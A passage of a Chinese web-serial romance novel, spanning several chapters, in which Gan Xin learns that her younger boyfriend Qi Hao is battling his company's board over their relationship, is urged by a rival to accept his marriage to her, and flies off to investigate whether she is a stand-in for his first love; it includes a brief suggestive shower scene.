所有的事情好像都前进着,也好像都停滞了。 今天39度,光从对面学校走进楼道,她就出了一身汗,进家门后把仿水晶的凉拖冲了冲,放到窗台上去,洗了个澡,就在卫生间里做护肤。 她好像听见外面的门开了,又有塑料袋落地的声音,刚想开门去接齐灏,却先听到了他说话的声音,她停住了脚步,就站在卫生间门后听着。 “我有分寸。” “压力大不在我的考虑范围内。” “寰科不可能以这种方式和洲海联合。” “不用操心了,我有我的方式。” “也别让我从唐满嘴里听到这件事。” 前言不搭后语,甘歆听得云里雾里,下一秒卫生间的门被拉开了,她和齐灏四目相对。 甘歆下意识将浴巾往上拉了拉,然后齐灏慢慢关上了门。 “在家啊,怎么不说话。”他的声音隔着门传进来,有些闷闷的。 “刚刚洗澡来着,太热了,没听见,”她快速绑好了浴巾,打开门,对着齐灏露了个明媚的笑,“今天不用加班?” 齐灏捏了捏她的鼻子,“再加班女朋友就没有了。” 她难得娇嗔,“你也知道啊。” 甘歆看着齐灏额头上有汗,故意凑去他胸口闻闻,“噫,臭死了,是个臭弟弟。” “臭弟弟你还闻?”齐灏托起了甘歆的下巴,看向她的眼睛里仿佛装着星辰,“想被臭弟弟欺负了?” 穿着短袖衬衣的齐灏有着别样的魅力,但她不愿意他得逞,便把他往淋浴那推,“洗干净点。” 年轻的男人装着一肚子坏水,就这么拥着她进了浴室,连衣裤都不脱,他只对着甘歆挑眉。 “做什么?”甘歆明知故问。 他吻下去的一瞬间打开了淋浴龙头,先是凉的,接着是温热的,全部浇在他们身上,齐灏身上的衬衣全都黏在了身上,凸显出了他精壮的身体,甘歆的浴巾很快就松了。 男人把她翻过了身去,在她耳边说着下.流的情话,手一点都不老实。 他从未粗暴对待甘歆,可她有时候却想,他在这一刻满足了她,几乎是用手掌罩按着她的后脑勺,将她的脸抵在墙面上,但他收着力,她只会觉得嘴合不拢而已。 他身上的衣服都在,甘歆却踮起了脚往后凑,高温和热水几乎要将他们化掉。 最终她还是又陪着齐灏洗了一遍澡,抱怨护肤品白涂了的时候,他耐心地问她都涂了那些,她指指点点了一通,齐灏将她放到沙发上,坏心眼地没给她睡裙,倒是拿了件自己的衬衣,又去浴室里拿了那些来,一点点帮甘歆涂上。 甘歆看着他认真的样子,眼底的红血丝还在,下眼睑还有青色,伸出手去抚他的脸。 “我刚刚其实听见你说了几句话。” 替甘歆抹护肤品的手一抖,他的声音却很稳,“嗯?” “在忙寰科和洲海联合的事?” “没有,”他的手没有停,话也说得很轻巧,“不会的。” 甘歆抿了抿嘴,想了想才问:“什么事不能让唐满知道?” 齐灏没回答,倒是对着她笑了笑,“你这叫只听了几句?” “就这几句……什么事?”甘歆摆出一副很兴奋的样子来,“是八卦吗?” “没有,没事,”齐灏收了手,盖好了护肤品的盖子,“我先把东西放回去。” 不太对劲,齐灏对她向来坦诚,欲言又止也只是出现在和自己说情感的问题上,对于公司里的事,他向来知无不言,她握住了齐灏的手臂,“这事……我不能知道吗?” 齐灏起身的动作停顿了,蹲在甘歆面前,伸手摸了摸被他吹干的发,“没什么事,别多想。” 甘歆锲而不舍,“齐灏——” “别问了。”他第一次这么严肃地跟甘歆说话,“抱歉,我去放东西。” 这天晚上齐灏和甘歆说了很多软话,甘歆也一遍遍地说着自己不在意、没关系,他们依旧在睡前接吻、相拥而眠。 空调打到了25度,但冷风无法让她不安的心冷静下来。 深夜里,甘歆醒来,看着旁边熟睡的男人,因为疲惫还打了小小的鼾,她坐了起来,将已经滑落到齐灏腰腹的毯子往上拉了拉后,赤脚走出了房间,到客厅阳台打开了窗。 即使天空一片墨色,夏日的晚风依旧带着燥意。 因着自己不炒股,甘歆从未关心过股价,但自从见过齐老爷子后,她每天都要刷很多次,下午收盘后,还会去做对比,寰科的股价一直没恢复,每次见涨,就会跌下来。 她不是不知道,寰科之所以能成为龙头标杆,强劲的实力和独到的投资眼光占了很大优势,而且向来只有寰科投资别人,主动联合的事,闻所未闻。 怎么可能没事。 她亲眼看着向来游 刃有余的齐灏,逐渐被工作吞没,他面临的问题,好像只有他拼尽全力才能抗衡一点。 甘歆特意没拿手机,事实上,她现在有些抗拒去拿手机,那张薄薄的纸片,好像千斤重。 她也没有好奇到要去问齐老爷子,如果可以的话,她永远不想打那个电话。 甘歆这时候才发现,齐灏帮自己,轻而易举,自己要帮齐灏,都无从下手。 盛夏的晚风实在太热了,只是站着几分钟,她就觉得身上黏腻了起来。 她能做的,好像也不过是回到他的身边,给他个拥抱吧。 甘歆轻手轻脚地回去了,小心翼翼地往齐灏的怀里靠,下一秒他就搂了上来。 “去哪儿了……”他连眼睛都没睁开,声音里混着哑,却知道自己离开过了。 “口渴,喝了个水。” “嗯……”齐灏将下巴搁到了甘歆的脑袋上,又低头轻轻吻了吻她的发,“睡吧……” 甘歆贴得更紧了些,闭上了眼睛。 她想,抱紧他、相信他,这两件力所能及的事,她一定要做到。 —— 南城新航站楼已经正式立项。 晟宇作为配合方,免不了去寰科开会。 但因为众所周知的原因,开会的地点就改到了洲海,这里熟人少、是非少,是个折中开会的好地方,而且项目中也有不少洲海承包的内容,三方一起开会进度可能更快些。 航站楼体量巨大,基本都是沈确亲自出马,带着甘歆和王潇,社交和记录都带到了。 不得不说,洲海的硬件配置确实好,新买的楼、全新的装修,连硬件都是最前沿的,会议体验度提升了一个档次,沈确回过头就对甘歆叨叨,回头拿了寰科的融资他也得换一批。 意外的是,自从航站楼立项,齐灏就很少出现了,基本都是寰科的专业团队来对接,他只在关键节点发表自己的意见,不再插手执行项,不仅甘歆不适应,连沈确都在好奇。 他压低了声音对着甘歆问:“你的小男朋友最近忙什么呢?” “不知道,”甘歆摇了摇头,“问也不说。” “要跟你求婚啊?”沈确的眼神里都是嘲意。 甘歆瞥了他一眼,“任婷又拒绝你了啊?” “……”沈确瞬间哑了火,“你别哪壶不开提哪壶。” 现在和洲海开会流程熟悉了,大家对唐满的刁钻也有了预期,不会太不习惯她的毒言毒语,反而会耐心地向她解释,甘歆也看明白了,这人也奇怪,你越顺着她,她反倒不好意思。 会议上甘歆对着她连捧带解释的,唐满到最后连脾气都发不出来。 沈确悄悄对她竖大拇指,“还得是你。” 甘歆笑了笑,没搭理她。 会后,唐满走了过来,手搭在甘歆的肩膀上,“一会儿来我办公室喝杯咖啡吧。” 她本来想拒绝的,但唐满凑到她耳边悄声说了下一句。 “跟你聊聊齐灏。” 甘歆愣了一下,点了点头,“好。” 第67章 第67章他透过你在看谁? 第二次进唐满的办公室,还是会被一水儿的淡色亮到眼睛。 唐满没有带她去沙发那,而是自己坐进了书桌后的皮椅上,才抬头看甘歆,眼睛往对面的椅子上瞥了两眼,“歆总坐。” 甘歆嘴角弧度往上扯了扯,自然地拉开了椅子坐下,她向来惯着唐满各种居高临下的要求。 没等多久,唐满的助理送了两杯咖啡进来。 “南非的豆子,果香味挺馥郁的,歆总尝尝。” 甘歆端起来喝了口,挑眉点了点头,“不酸,挺好喝的。” “没想到歆总对咖啡还有研究,”唐满笑了笑,“果然年纪大还是有好处的。” “您说笑了,我只是单纯说口感。” 甘歆在等唐满说重点,但她却一下下晃着咖啡杯,好像里面装的是酒一样。 “歆总能来,说明也意识到了齐灏最近的变化,”唐满终于把杯子放到了桌上,直直地盯了过来,“您不好奇原因吗?” 她不想和唐满啰嗦,“你如果光问问题,那我们也没什么聊的了。” 甘歆作势要起身,唐满立刻挽留了下,“甘歆,齐灏在和整个寰科博弈。” “你说什么?” “我说,齐灏在和整个寰科博弈,”唐满站了起来,朝着她倾了倾身子,“因为你。” 甘歆觉得天灵盖一麻,毛孔都瞬间收缩了,再说话的时候声音都有些抖,“……公告?” “你明白那个公告的意思吗?”唐满又坐了回去。 甘歆只能摇头,她唯一能够设想到的,就是张然的说法,但齐灏从来没有跟她提过,事实上,齐灏连“以后”这种话题都很少和她提及,她又怎么会想到结婚呢? “也是,我早就说过你不是这个圈子里的人,又怎么会明白这意味着什么,”唐满嗤笑了一声,“你不会以为,这个公告就是你可以和齐灏结婚的意思吧?” 被说中心事,甘歆的心抽了一下,表面上不动声色,“我没这么想过。” “哦?”唐满有些意外,“竟然有人会没想过和太子爷结婚?” 她再也耐不下性子,连话里的冲动都丝毫没有掩饰,“你想?” 唐满笑了笑,肯定道:“当然想。” 这个直接的回答让甘歆有些懵,问出口的时候也觉得不可能,毕竟齐灏曾经亲口跟她说过,他和唐满,一点、丝毫关系都没有。可唐满好像不是这样想的。 “你别误会,”唐满整个人靠在了椅背上,姿态松弛,“我并不喜欢他。不谈感情,寰科这么大个靠山,一桩婚姻,倒是最好的杠杆了。” 甘歆不管这些,只问:“齐灏为什么要和寰科博弈?” “好奇了?不容易啊,到底年纪大,涵养功夫好。” “唐满,你说不说。” “你以为这么大个寰科是怎么运作的,靠齐灏一个人吗?”唐满的脸上出现了嘲讽,“他有几只眼睛几双手,集团下光管理公司就四十多个,还没算上制造、销售和投资端的,这么多个公司,这么多张嘴,齐灏的每个动作都被人盯在眼睛里,新闻出来的时候董事会就希望他大事化小小事化了,索性不承认,过一阵风头就会过去,可你看看太子爷多倔强啊,非得上着赶着去认领,就怕伤了你的心。” 甘歆没忍住,咽了两下,咬紧了牙关听下去。 “他发这个公告获得了什么呢,得了你的肯定,却失去了在寰科的人心,”唐满顿了顿,接着往下说,“更重要的,是拦截了豪门联姻的可能性,太子爷亲手将这块连接板斩断,不带他们玩儿了都,你以为行业里还会再听齐灏的吗?寰科的股价怎么可能还涨得起来?” 唐满的情绪好像突然被堆高,终于对甘歆近乎发泄似的说:“甘歆,你没有心,你怎么会同意齐灏发公告的?” 甘歆什么话都说不出 来…… 齐灏这段时间的忙碌她比谁都清楚,还会照顾她情绪一遍遍地说着没事,甚至在公告发出去后,依旧保持对那些账号的追责,还要……把这些困难都瞒起来。 “……我不知道。” “你别怪我说话难听,你不是我们这个圈子的人,”唐满坦白强势,像一把锋利的匕首,朝着甘歆扎去,“再这么下去你会害了齐灏的。” 甘歆整个人都收紧了,再抬头去看唐满,方才眼神里的淡定不再,还有一丝慌乱,“他会怎么样?” “被寰科董事会联合除名,变成一个普通人。” 普通人…… 齐灏怎么可能是普通人呢,他运筹帷幄、神通广大,他算无遗策、眼光独到、杀伐果断,他这样的人,怎可以是普通人。 但这只是唐满的一面之词,甘歆撑起了心里最后的一些力量,质问她:“你怎么知道得这么清楚。” 似乎早就做好了准备似的,唐满拿出了手机,打开了对话框,对面的头像是个山水画,昵称只有简简单单的一个“齐”字,对方没有发任何文字信息,都是语音,唐满点开了一条。 是齐老爷子的声音。 “小满,董事会倾向已经到62%了,很危险,去找阿灏聊聊,我撑不了多久。” 她又换了个对话框,打开的是齐灏的对话框,也是语音条。 “匀我3000,年息4.3%。” 唐满把手机拿了回去,坐在自己的位置上很稳,看着甘歆的眼神几乎是睥睨,“还要再听吗?” 这是甘歆第一次听到齐灏问别人借钱,放在之前,这种事简直没有出现的道理,她摇了摇头,自嘲似的笑了一下。 早晚会面对这么一遭,只是没想到来得这么快,这么不堪。 “齐灏……现在什么状况?”甘歆说,“或者,你就跟我透个底吧,要我怎么做。” “内忧外患、腹背受敌,强弩之末了。至于怎么做……”唐满对着甘歆笑了笑,“其实你什么都不用做,你依旧可以和齐灏谈恋爱,但……你要同意齐灏和我结婚。” “什么?!”甘歆一下站了起来,刚刚放在桌沿的咖啡都被带倒了,洒了一桌的咖啡液。 “齐灏需要注资,洲海现在现金流很漂亮,我有这个能力可以帮。” “不可能,你想都别想。” “甘歆,我是在跟你谈公事,不是在跟你谈感情,如果你不能理性地看待这件事,那我们就没得谈。” 话及至此,甘歆有些想明白了,“齐老爷子找的你吧。” “他也找过你,”唐满笑了笑,“但他说你油盐不进。” “我也没见过谁见面就开支票的,拍电影呢?” “坦白说,你太自傲,你这样的女人,进不了齐家的门,也不适合在这个圈子里。” “我需要和齐灏商量一下。”甘歆已经冷静下来了,“我现在给不了你答复。” 唐满又站了起来,几步路走到了甘歆身边,掰着她的下巴强迫对视,“甘歆,你不会以为你真的在齐灏心里独一无二吧?” 什么意思…… “有的时候我觉得你真可怜,那么大岁数了,还要被一个小男生玩弄股掌之间,”唐满笑得越来越扭曲,“我们这个圈子啊,没有真心的。” 她在说什么…… “刚刚为什么不直接同意呢,非得我说到这个地步?” 甘歆的脸从唐满的手中别开,眼睛几乎能把她的脸凿出两个洞来,“你要说什么?” “和齐灏在一起的感觉怎么样,是不是春风和煦、无微不至?”唐满摇了摇头,直视了甘歆的眼睛,“你和齐灏的相遇真的是巧合吗?他凭什么对你一见钟情,你想过吗?” “别绕弯子了,唐满,你没什么话的话我先走了。” 甘歆从来没去想过原因,她一直以为齐灏和她认识只不过是因为看线上电影的交流,再一次巧合就是晟宇要做的保障房项目,如果她曾经感慨过的“缘分”都是假的,那她真的不知道该相信什么了。 她也……不敢往下听了。 “我给你看个东西吧。” 唐满从手机相册里,拿出了一张照片,非常模糊的光影,里面有个女孩的背影,扎着丸子头,身上的衣服是橘红色的,下面穿了条淡粉色的裙子,衣服宽大,根本看不出身材,连人影都是虚像。 照片上的时间却很清晰,是……十三年前。 “这是以前我在齐家住的时候,从他房间里拿走的其中一张,”唐满像个看透真相的胜利者,每一个字都沾着针,“他的房间里,有一面墙都是这个人的背影。” 甘歆哑口无言。 “他邀请过你去他家吗?知道照片里的人是谁吗?”唐满叹了口气,“你真的很可怜,也很可笑,他是喜欢姐姐,但凭什么是你呢,他透过你在看谁?” 她已经后悔跟着唐满上来了,无论是齐灏在抗衡寰科,还是……这个。 “甘歆,你怎么光长年纪,不长脑子啊?” 这句话像一颗雷,砸进了甘歆的耳朵里,这么熟悉的一句话。 齐灏责怪自己不懂得保护自己的时候,说的也是这句话。 明明是同样的话,怎么听起来这么不同? 唐满斜靠在桌子上,双手交叉在身前,叹了口气,语气轻飘飘的,似乎都没把这些当回事,“所以说,和他谈谈恋爱就好了,衣服包包奢侈品供着不好吗,结婚就够妄想的了,还想要真心?” 甘歆手撑着椅子的扶手,慢慢站了起来,腿似乎都没知觉了,但还是努力挪了个步子,她听见自己说:“照片里的人是谁?” “听齐老爷子说,是邻居家的姐姐,”唐满啧啧了两声,感慨着,“是齐灏的初恋呢。” 她眨了眨眼睛。 前阵子齐灏说的……身心都是第一次,又是什么呢? 她果然还是年纪大了所以蠢了,任由齐灏一次次地来自己家,却从来没去过他那里,可齐灏的确从未邀请过,自己又怎么好意思说出口? 走到门口时,甘歆竟然有些拉不开门把手。 “歆总,”唐满在身后叫住了她,“回去劝劝齐灏,婚结不结无所谓,他再这么莽下去,真的无法收场。” 甘歆闭了闭眼睛,用力拉开了门。 看见了此刻站在门口的人。 “歆总?”周泽的眼神惊慌,很快耳朵就红了,“您怎么在这。” “……唐总跟我聊聊航站楼的项目,”甘歆淡淡地回答,“你进去吧,里面没人。” “噢……我是来找唐总签字的,有个文件老板说让我来找她签。” “啊,好好,不用跟我交代……”甘歆抓住了周泽的胳膊,“对了,齐灏的家在哪儿,我想去看看。” 周泽瞪大了眼睛,回得无比生硬,“抱、抱歉,歆总,我没办法回答您。” 她的心彻底沉了下去。 第68章 第68章他的咒语失效了。 周围的一切好像都消声了,她能看得清人,但听不见,路过的这些人好像有在和她打招呼,有些看过来的眼神都是疑问,还有人冲她走来对她说些什么,甘歆都无法听见了。 她推开了扶着自己这人的手,走进电梯,好像到一楼只用了一瞬。 电梯打开,甘歆走了出去,眼看着到了闸机,她却没有停。 嘀—— 尖锐的报警声划破了她世界的寂静,一瞬间人声鼎沸,从四面八方涌进了她的耳朵,声音太强、信息量太大,甘歆的脚一软,就要向前倒去。 沈确接住了她。 甘歆下意识地手把着沈确的胳膊,抬起头来看到他担心的表情,还木然地歪了歪脑袋,问出的话她自己都觉得好笑,“你怎么还在啊。” “你怎么了,发生什么事了?”沈确把她扶起来,“唐满说什么难听的话了?” 甘歆摇了摇头,扯了个虚弱的笑,“没有,昨晚没睡好。” 此刻甘歆的脸苍白得跟纸一样,眼睛的神采消失了,连妆容都挡不住她的疲惫,手脚冰凉得像是要感知不到,连走路都困难。她张开嘴用力呼吸了两下,却没觉得吸进去多少氧气。 她看着面前的沈确,冰凉的手抓了过去,“麻烦你,我走不了了,能不能,帮我一下……” 沈确没有任何犹豫,一把将甘歆抱了起来,周围匆匆的职人们都看了过来,沈确没有在意,甘歆也没有余力去关心,她甚至连搭在沈确肩膀上,都做不到。 到了地下停车库,他没有将甘歆放到副驾,而是直接放在了后座。 刚刚会议结束后,沈确就让王潇先回公司了,可他这会也犹豫,不知道该不该上车。 坐在后座的,那个始终洒脱、明媚、通透的女人,此刻看起来那么脆弱,伤心难过都快溢出来了,可她依旧没有哭,只是仰着头,靠在头枕上闭着眼睛。 安静得让人发慌。 在过去与唐满的交锋中,甘歆从未将她当真正放在眼里,项目上的事迟早会解决,言语上的讥讽她会找机会嘲回去,可现在出来却是这副鬼样子。 他将驾驶座的车窗开了一半,和甘歆打了招呼说去抽根烟,她依旧没有反应。 视线拐过,沈确就给齐灏打了个电话。 饶是过去,他是绝对不会这么做的,但这段时间来看着甘歆和齐灏的相处,他能感觉到他们对彼此的情感,他觉得应该要和齐灏说一声。 “说。”电话里的男人依旧惜字如金。 “你来一趟吧,洲海的地下车库。” “什么事。” “唐满和甘歆单独聊了一次,她下来的时候不太对劲,现在在我车里。” “她怎么了?”齐灏的声音焦急了起来。 “我没问,”沈确犹豫了一下,又补充了句,“我没见过她这样。” 电话那头好像静音了,沈确喂了好几声都没人回,在即将要挂断的时候齐灏的声音又传了过来,“我现在走不开,能麻烦把她送回家吗?” “你走不开?”沈确都有些气笑了,“你有什么重要的事走不开?” “我没必要跟你解释,但我现在真的走不开。” 沈确直接将电话挂了,这电话真是不打也罢。 他回到车里的时候,甘歆的表情已经回复正常了,就是声音有些哑,“给你添麻烦了。” “没有,”沈确从车内后视镜看甘歆,“说说么?” “不说了,回公司吧。” “我送你回家吧。” 甘歆没答话,沈确权当她答应了。 直到车开出车库,甘歆才发现,外面竟然下起了暴雨,她想起来了,今天早上出门看天气预报的时候,说是会有雷暴,可阳台的窗好像没关…… 思绪不受控制地在想一些零零碎碎的东西,可无论想什么,好像都会绕开齐灏,明明现在最应该思考的就是两个人的关系,但脑子好像被上了屏蔽器一样,只要接触到这两个字,就变得无法思考。 但她一开口,依旧还是他,“你刚刚去给齐灏打电话了吧。” 沈确愣了一下,“没有,我就去抽了根烟。” “他是不是没空过来啊。” 沈确不说话了,安静地开着车。 “也是,”甘歆笑了下,自言自语道,“他现在正焦头烂额呢。” 遇到红灯,沈确又从后视镜里看甘歆,“唐满跟你说什么了?” “没什么,”甘歆的眼睛看向车窗外,“寰科对晟宇的第一笔投资到账了吗?” “到了,比预期得要多,”沈确也有些疑问,“齐灏怎么了?” “唐满说……”甘歆深深叹了口气,“齐灏被寰科围剿了,应该是新老势力的拉锯吧。” 沈确皱了皱眉,“老爷子不是退了么?” “说是集团里的各种势力,就因为……那件事。” “齐灏的公告不管用?” 提到公告,甘歆的心脏就感觉被抽了一下似的,她现在都不敢去想,发这个公告的初衷,是为了留住她,还是在弥补照片里的那个人,“我也不知道。” “先别想了,”沈确绿灯起步,“你先回去休息休息吧。” “老板……”甘歆说出的声儿弱得不行,“你当时为什么要把我当成凌玥姐啊?” 沈确下意识地踩了一脚刹车,两个人都往前踉跄了一下,后车的喇叭响了好几下,车又开了起来,他才说:“我也不是故意的,就是……觉得是个念想。” “看到我不是更难受吗?” 沈确没有否认,许久才说起来,“也不是,有的时候会觉得凌玥还活着。” “唉,”甘歆深深叹了口气,第一次责怪沈确,“你怎么这样啊,太烦人了。” 沈确笑了一下,“我这不是醒悟了么,像你说的,斯人已逝,不要再多牵挂了。” 甘歆的眼睛又闭起来了,近乎有些自虐地问道:“如果凌玥姐还在呢,你会选择任婷吗?” 她没有得到沈确的回答,一直到下车,沈确都没有表态。 缓了这一路,甘歆已经能走了,谢过了沈确,就自己上了楼。 打开门换鞋,她看见了齐灏的拖鞋,还有一双慢跑鞋、一双皮鞋,走进屋子,餐桌上有两个倒扣的水杯,一个藕色、一个粉蓝,再进厨房,干干净净,连冰箱里摆的东西都整整齐齐…… 浴室里多了齐灏的毛巾、拖鞋、剃须刀和发蜡,卧室的床铺上,已经有了两个枕头,床尾还有他的睡衣…… 她退了出来,打开书房的门,可这里齐灏的东西更多。 回到客厅,阳台上还晾着齐灏的T恤。 她都记不起来,是哪天开始,齐灏正式住进来的,好像不知不觉间,他就用自己的气息把这间屋子填满了。 以至于现在甘歆想找个安静坐着的地方都没有。 她心里知道,唐满说的解决方案确实是最好的办法,只有齐灏带回了如洲海这种实力的豪门入股,所有人才会对他这个当家人满意。 感情……在利益面前,又算得上什么呢。 那天不小心听到齐灏说的话,还有齐老爷子的出现,好像桩桩件件都在告诉自己,她已经成为了齐灏的负担。 之前齐灏让她别担心,她信。 可那张照片出现后,她不敢信了。 光看那个背影,就知道是个开朗飒爽的女性,即使逆着光、轮廓模糊,依旧能感觉到那人身上的活力…… 就好像……刚刚认识齐灏时的自己一样。 甘歆觉得自己自作自受,她在虚拟里寻找景页,最后撞到了齐灏。 却在齐灏的真实里,发现自己竟然才是个影子。 从在唐满办公室里就积起来的情绪向上涌,视线好像变得模糊了,又清晰了,她用手抹了抹下巴,掌心和手指都跟着湿了。 可她分不清现在的感觉。 她不知道,现在是知晓自己是替身难过一些,还是因为齐灏可能喜欢的不是自己而难过一些,又或者两者都有。 面对齐灏的全方位包容,甘歆根本没有办法控制自己不沉溺下去。 过去她总说,不过是个小屁孩儿。 她现在一点都开不了口。 甘歆在沙发上枯坐了一下午,连手机都没看。 盛夏里,地面即使砸过了雨,也会被高温迅速蒸发,地上的水,会再次凝结成天上的云。 天色逐渐暗了下来,她从沙发上滑落坐在了地上,费劲了所有的力气才抱住了曲起的膝盖。 门锁开了,应该是他回来了,可甘歆连抬头看一眼的力气都没。 她终于以从未有过的、近乎狼狈的姿态,出现在齐灏面前。 齐灏开了灯,甘歆却用手臂遮住了脑袋,太刺眼了,灯也是,人也是,又有多少人能够忍受强光的照射呢? 他也坐了下来,就坐在甘歆的边上,声线好像比之前又成熟了一些,不知是不是因为疲惫才会如此。 他说:“你都知道了。” “嗯。” “不是你的错,”他又说,“我会处理好的。” 甘歆本不想回他,可心软得太快,“已经到要问洲海借钱的地步了吗?” 齐灏叹了口气,他解开了衬衣的第二颗扣子,连脖颈还能看见上面的汗,“暂时的,别担心。” “对不起,”甘歆对齐灏说,“给你带来麻烦了。” 齐灏皱了皱眉,没说话,想去揽甘歆,却被她挡住了,“你怎么了?” “没有……”她努力控制了下,“如果我不管那事,就不会拖你下水了。” “说什么呢,”齐灏都笑了,“什么叫拖我下水,再说那是你朋友,依你的性格会不管么,都管得少了。” 甘歆闭上了眼睛,强忍着鼻子里的酸意,转过头看向齐灏,“你觉得……我应该是个什么样的人啊?” “聪明、有活力,靠谱,心里很阳光,看什么都透彻……是个很好的人。” 齐灏不顾甘歆的阻挡,将她 搂在了自己怀里,“是我觉得,世界上最好的人。” 她越听越冷,身体好像还在发着抖,抖得眼泪都止不住。 齐灏将她抱紧了,温热的唇一遍遍吻着她的发,“不会有事的,放心,有我在,什么都不会改变。” 什么都不会改变。 是不是因为你的过去被改变过什么? “回头,”她几乎是咬着后牙槽问的,“我能不能,上你家看看?” 齐灏的手顿了一下,很轻微,却不容忽视,甘歆感觉到了。 “等过一阵,好不好?” 他的咒语失效了。 甘歆已经有了答案。 第69章 第69章她需要一个清爽的脑袋,想想…… 寰科的股价始终没有上去,齐灏忙得几乎见不着人,两个人连信息都发得很少,有的时候甚至连“晚安”都没有。 自从知道闯入自己世界的这个人或许并非误打误撞,而是蓄谋已久后,甘歆就一直在找机会戒断,她会训练自己刻意不去想他。 成年人连难过都是没有表情的。 但夜深人静时,总会不舍。 尤其是偶尔有那么一天,在深更半夜,床的另一边有了凹陷,自己会被揽进一个温暖的怀抱里时。 她无数次想问照片里的人是谁,却始终找不到由头。 甘歆也不是没想过,那是唐满用来激自己的手段,不一定是真的。 可当寰科的那则公告被撤掉的时候,她心里还是抽疼了一下。 是甘歆自己发现的,齐灏没提过这件事。 夏季天气多变,雷暴说来就来,一场雨后,又是一场高热,反复多次,就到了三伏天,明明新闻里一直叫嚣着极端天气少出门,她却觉得不怎么热。 寰科要和洲海联姻的小道消息已经满天飞了,齐灏没有解释过,话术还是那几句,“没事的”“不会有任何变化”“放心”。 这几天连张然上楼找她,神色里都带着担忧,她只当没看见。 意料之外,任婷给甘歆打了个电话,骄纵的大小姐依旧趾高气昂,但没有半点揶揄她的意思,反而给她带来了个消息。 “我是看在沈确面子上才跟你说的,我爸说,齐老爷子开始寄帖子了,你……还好吧?” “瞎担心什么,我没事。” “真没事?”任婷的语气里透着担心,“沈确说你脸跟刷了浆糊一样。” “……你俩能不能说我点好,挂了。” 甘歆张嘴,用力呼吸了两口,事情果然要到这一步了么。 她好像是身上背着倒计时的丑婆娘,一旦到时间,就会被踢出局。 甘歆难得给家里打了个电话,可听见妈妈的声音,就有些受不住了,像个在外面受了巨大委屈的小孩。 “歆歆啊,什么时候回家啊,妈妈包了荠菜饺子,你回来吃啊。” “哦哟工作什么的不要太拼啊,多大人了身体健康最重要。” 她调整了下呼吸,对着妈妈说:“没事儿,就我们公司今天搞了个活动,挺感人的,挺想你们了。” “想我们了就回来呀!家又不会跑的咯。” “嗯,你们好好照顾自己身体哦,等十一我就回来了。” “好的好的,那九月底我跟你爸去接你,你不要自己开车了。” “嗯……知道了,你不要太辛苦了,做饺子挺累的,不要经常弄。” “你喜欢吃你奶奶的那个饺子呀,我练到位了,你回来就能吃到了。” 甘歆努力顺了顺,带着点笑答道:“好了,我去上班了,你们好好的哦。” “知道嘞,我们退休工人好着呢,你自己照顾好自己。” “知道了,老妈拜拜。” 挂了电话后,甘歆对着落地窗外看了很久,她用手掌揩了一下洇在眼角还未流下的眼泪,深呼吸了一下,给沈确打了个电话。 有些事情,她想去弄明白,这么稀里糊涂地过,太不像自己了。 电话里说是请几天假,但还是请沈确帮了个忙,明面上是去广粤出差,沈确很体谅地没问为什么,直接就答应了。 接着甘歆从手机壳里拿出了那张名片,拨通了齐老爷子的电话。 “甘小姐,很久没联系了。”齐老爷子的声音依旧很稳,齐灏的确很像他。 “董事长,你好,之前你说需要帮忙可以联系您,还作数吗?” “当然,甘小姐请说。” “我想看看齐灏的房间,方便吗?” “仅此而已吗?” “仅此而已。” “那甘小姐随时出发,到广粤后会有人来接你。” “好的,谢谢董事长。” 齐老爷子好像对她要去广粤的事并不意外,看来是早就知道齐灏的心事,甘歆的心又沉了半截。 这天晚上齐灏回来了,甘歆和他说了要去广粤出差的事,在知道要去一星期后有些惊讶。 “要让周泽陪你去吗?” “不用,出公差,对方比较难约,所以留了一周时间。” “那我当地找个人陪你?” “真不用,别闹了,等着新闻又乱说。” 齐灏笑了笑,捏了捏甘歆的脸,“你怕啊?” “怕啊,”甘歆如实道,“寰科的股价要是再往下掉,我看你连办公室的门都出不了了。” “姐姐心疼我啊。”他又抱了过来,甘歆没拒绝。 她依旧会和齐灏拥抱接吻,这好像是与生俱来拒绝不了的动作,但这些日子,他们没有再做亲密的事,有时齐灏提出,甘歆就说自己不太舒服拒绝了,不过他也忙得有些过劲,大多数时候倒头就睡。 看着齐灏熟睡的脸,甘歆突然有了个大胆的想法,她蹑手蹑脚地走到齐灏那边的床头柜,拿起了齐灏的私人手机,跟做贼一样带到了客厅。 手机的密码没有设置回来,轻轻一划就能打开。 她又翻开了通讯录,拉到底部的那个小鲸鱼图案的人,点开后的座机她记了下来,又悄悄将他的手机放了回去。 直到那个号码记录在自己手机里,甘歆才发现自己出了一身汗。 她觉得自己疯了,就好像电视里演的那些查自己先生手机的绝望主妇,行径、动机几乎一模一样。 甘歆眼睛睁到了天亮,她对自己有些失望。 次日出发广粤,送机是齐灏送的,他没有再开显眼的迈巴赫,而是换了一辆能够融在车流里的普通SUV,小区的保安调笑着和甘歆打招呼,问她是不是换男朋友了。 她没让齐灏送到安检,下了车就让他赶紧回去。 齐灏再次向她确认,“真不用找个人带你在广粤转转?” “以前又不是没去过,不用了,我聊点事就回。” “好,那你注意安全,一切顺利,多联系我。” 甘歆笑了笑,下意识地说:“联系你你有空吗?” 齐灏愣了一下,郑重点了点头,“有的,你联系我什么时候都有空。” 她深呼吸了一口,抑制住了心里涌上来的难过,“快去上班吧,一堆事等着你。” “落地了告诉我。” “知道了。” 机场的空调开得太冷了,甘歆不得不从20寸的行李箱里找了件外套披上,在班里登机牌的时候,有一位身穿制服的乘务员来找她,说带她进VIP室。 不是齐灏做的,那应该就是齐老爷子。 她突然明白齐灏为什么这么不喜欢被人安排了,这种无时无刻存在的掌控感,真让人有些遭不住。 连安检和过关都是在贵宾室里处理的,她要做的,就是跟着乘务员第一个登上飞机罢了。 宽大的A01座位,旁边依旧没有人,给了她最大的活动空间,可她的心却一点一点在缩小,她好像进入了一个完全不同的世界,这里都是权贵、精英,有着周到的安排,也有了更多的选择。 飞机轰鸣起飞的一刹那,甘歆有了哭的冲动。 她不知道自己为什么非得去看看齐灏的房间,如果得到的答案和唐满说得一样,甘歆都不知 道回来该怎么面对他。 可她就是想知道。 她想知道,自己是不是齐灏初恋的替身。 她想求一个莫名其妙的真相。 整个航程甘歆都很安静自然,除了喝水、航餐,几乎是闭了一路的眼睛,出舱的时候都是乘务员引着的,并没有走廊桥,而是通过廊桥的楼梯直接走到了停机坪,已经有一辆车等在那里了。 站在车边的人甘歆认识,是有过一面之缘的周波。 “不好意思周总,麻烦您亲自跑一趟。” “甘小姐客气了,您是重要的客人,董事长很重视,请您上车。” 她打开手机,习惯性地和齐灏发了个“落地了”的消息,这次齐灏几乎是秒回,和他这段时间的忙碌好像是割裂的。 